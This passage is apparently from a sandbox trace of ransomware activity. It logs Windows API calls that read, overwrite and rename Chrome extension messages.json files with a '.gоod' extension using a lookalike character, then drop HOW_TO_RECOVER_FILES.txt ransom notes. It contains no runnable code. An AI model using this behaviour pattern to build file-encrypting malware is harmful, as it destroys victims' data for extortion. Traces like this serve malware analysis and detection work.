ftLastAccessTime.dwLowDateTime=0x5530d780, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5530d780, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.228] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5530d780, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5530d718, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55738d29, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0246.228] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5530d780, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5530d718, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55738d29, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0246.228] FindClose (in: hFindFile=0x134b040 | out: hFindFile=0x134b040) returned 1 [0246.228] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0246.228] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0246.228] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json", lpFilePart=0x0) returned 0x89 [0246.228] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0246.229] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x37a5e70 | out: lpFileInformation=0x37a5e70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5530d780, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5530d718, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55738d29, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xec)) returned 1 [0246.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0246.229] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json", lpFilePart=0x0) returned 0x89 [0246.229] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0246.229] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0246.229] GetFileType (hFile=0x86c) returned 0x1 [0246.229] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0246.229] GetFileType (hFile=0x86c) returned 0x1 [0246.229] GetFileSize (in: hFile=0x86c, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0xec [0246.229] ReadFile (in: hFile=0x86c, lpBuffer=0x37a6318, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x37a6318*, lpNumberOfBytesRead=0x1f6e7648*=0xec, lpOverlapped=0x0) returned 1 [0246.229] CloseHandle (hObject=0x86c) returned 1 [0246.255] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json", lpFilePart=0x0) returned 0x89 [0246.255] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0246.256] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0246.256] GetFileType (hFile=0x86c) returned 0x1 [0246.256] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0246.256] GetFileType (hFile=0x86c) returned 0x1 [0246.256] WriteFile (in: hFile=0x86c, lpBuffer=0x381eae0*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x381eae0*, lpNumberOfBytesWritten=0x1f6e7558*=0xf0, lpOverlapped=0x0) returned 1 [0246.256] CloseHandle (hObject=0x86c) returned 1 [0246.256] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json", lpFilePart=0x0) returned 0x89 [0246.256] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0246.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0246.257] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5530d780, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5530d718, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x8efe7dba, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0246.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0246.257] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json.gоod")) returned 1 [0246.257] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0246.257] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0246.257] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x86c [0246.258] GetFileType (hFile=0x86c) returned 0x1 [0246.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e77f0) returned 1 [0246.259] GetFileType (hFile=0x86c) returned 0x1 [0246.259] WriteFile (in: hFile=0x86c, lpBuffer=0x3822418*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6e7948, lpOverlapped=0x0 | out: lpBuffer=0x3822418*, lpNumberOfBytesWritten=0x1f6e7948*=0x5d0, lpOverlapped=0x0) returned 1 [0246.260] CloseHandle (hObject=0x86c) returned 1 [0246.260] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0246.260] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko", lpFilePart=0x0) returned 0x7b [0246.260] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553173b2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5531c1d8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5531c1d8, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0246.260] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553173b2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5531c1d8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5531c1d8, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.260] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5531c1d8, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55320f98, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55738d29, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0246.260] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0246.261] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0246.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0246.261] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0246.261] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7910) returned 1 [0246.261] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko", nBufferLength=0x105, lpBuffer=0x1f6e73b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko", lpFilePart=0x0) returned 0x7b [0246.261] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\*", lpFindFileData=0x1f6e7630 | out: lpFindFileData=0x1f6e7630*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553173b2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5531c1d8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5531c1d8, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af80 [0246.261] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553173b2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5531c1d8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5531c1d8, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0246.261] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5531c1d8, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55320f98, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55738d29, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0246.261] FindNextFileW (in: hFindFile=0x134af80, lpFindFileData=0x1f6e75f0 | out: lpFindFileData=0x1f6e75f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5531c1d8, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55320f98, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55738d29, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0246.261] FindClose (in: hFindFile=0x134af80 | out: hFindFile=0x134af80) returned 1 [0246.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7850) returned 1 [0246.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7810) returned 1 [0246.262] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json", lpFilePart=0x0) returned 0x89 [0246.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e76c0) returned 1 [0246.262] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x3832400 | out: lpFileInformation=0x3832400*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5531c1d8, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55320f98, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55738d29, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xe6)) returned 1 [0246.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7680) returned 1 [0246.262] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json", lpFilePart=0x0) returned 0x89 [0246.262] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0246.262] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x86c [0246.262] GetFileType (hFile=0x86c) returned 0x1 [0246.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0246.262] GetFileType (hFile=0x86c) returned 0x1 [0246.262] GetFileSize (in: hFile=0x86c, lpFileSizeHigh=0x1f6e7718 | out: lpFileSizeHigh=0x1f6e7718*=0x0) returned 0xe6 [0246.262] ReadFile (in: hFile=0x86c, lpBuffer=0x38328a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e7648, lpOverlapped=0x0 | out: lpBuffer=0x38328a0*, lpNumberOfBytesRead=0x1f6e7648*=0xe6, lpOverlapped=0x0) returned 1 [0246.571] CloseHandle (hObject=0x86c) returned 1 [0247.325] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e7050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json", lpFilePart=0x0) returned 0x89 [0247.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7570) returned 1 [0247.325] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0247.326] GetFileType (hFile=0x82c) returned 0x1 [0247.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e74e0) returned 1 [0247.326] GetFileType (hFile=0x82c) returned 0x1 [0247.326] WriteFile (in: hFile=0x82c, lpBuffer=0x3b5b970*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x1f6e7558, lpOverlapped=0x0 | out: lpBuffer=0x3b5b970*, lpNumberOfBytesWritten=0x1f6e7558*=0xf0, lpOverlapped=0x0) returned 1 [0247.327] CloseHandle (hObject=0x82c) returned 1 [0247.327] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json", lpFilePart=0x0) returned 0x89 [0247.327] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json.gоod", nBufferLength=0x105, lpBuffer=0x1f6e71f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json.gоod", lpFilePart=0x0) returned 0x8e [0247.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7680) returned 1 [0247.327] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x1f6e7760 | out: lpFileInformation=0x1f6e7760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5531c1d8, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x55320f98, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x8fa0a1b5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xf0)) returned 1 [0247.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e7640) returned 1 [0247.327] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json.gоod")) returned 1 [0247.682] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6e7360, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x94 [0247.682] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e7880) returned 1 [0247.682] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0247.683] GetFileType (hFile=0x82c) returned 0x1 [0247.683] SetThreadErrorMode (dwNewMode=0x0, 